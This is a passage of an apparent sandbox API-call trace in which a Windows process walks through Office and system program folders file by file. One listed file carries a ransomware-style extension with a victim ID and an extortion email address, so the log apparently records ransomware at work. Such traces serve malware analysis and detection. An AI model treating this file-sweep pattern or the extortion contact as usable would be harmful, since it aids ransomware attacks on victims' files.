ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0193.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.009] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0193.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.009] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0193.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.010] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0193.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.010] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0193.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.010] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0193.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.011] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0193.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.011] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0193.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.011] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0193.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.012] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0193.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.012] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0193.012] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.013] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0193.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.013] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0193.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.014] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0193.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.014] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0193.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.014] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0193.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e90068 | out: hHeap=0x660000) returned 1 [0193.015] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0193.015] FindClose (in: hFindFile=0x751090 | out: hFindFile=0x751090) returned 1 [0193.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.016] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0193.218] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.218] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0193.218] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.219] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0193.222] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.222] FindNextFileW (in: hFindFile=0x751210, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0193.222] FindClose (in: hFindFile=0x751210 | out: hFindFile=0x751210) returned 1 [0193.222] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.223] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0193.223] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.223] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0193.223] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.223] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0193.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.226] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0193.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.226] FindNextFileW (in: hFindFile=0x750e90, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0193.226] FindClose (in: hFindFile=0x750e90 | out: hFindFile=0x750e90) returned 1 [0193.226] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.226] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0193.227] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.227] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0193.227] FindClose (in: hFindFile=0x751350 | out: hFindFile=0x751350) returned 1 [0193.227] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.227] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0193.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.229] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0193.229] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.229] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0193.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ed0088 | out: hHeap=0x660000) returned 1 [0193.265] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x39ff08c | out: lpFindFileData=0x39ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a55d76, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x47a55d76, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x47d76d81, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x18986, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="VSTOIN~1.NEW")) returned 1 [0193.265] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.265] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0193.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.266] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0193.266] FindClose (in: hFindFile=0x751010 | out: hFindFile=0x751010) returned 1 [0193.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0193.266] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e90b7c0, ftCreationTime.dwHighDateTime=0x1d59819, ftLastAccessTime.dwLowDateTime=0xc1b1490, ftLastAccessTime.dwHighDateTime=0x1d5b683, ftLastWriteTime.dwLowDateTime=0xc1b1490, ftLastWriteTime.dwHighDateTime=0x1d5b683, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1 [0193.266] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0193.266] FindNextFileW (in: hFindFile=0x751050, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0193.267] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.267] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0193.268] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.268] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0193.269] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e80060 | out: hHeap=0x660000) returned 1 [0193.269] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff584 | out: lpFindFileData=0x39ff584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0193.270] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3ec0080 | out: hHeap=0x660000) returned 1 [0193.270] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, 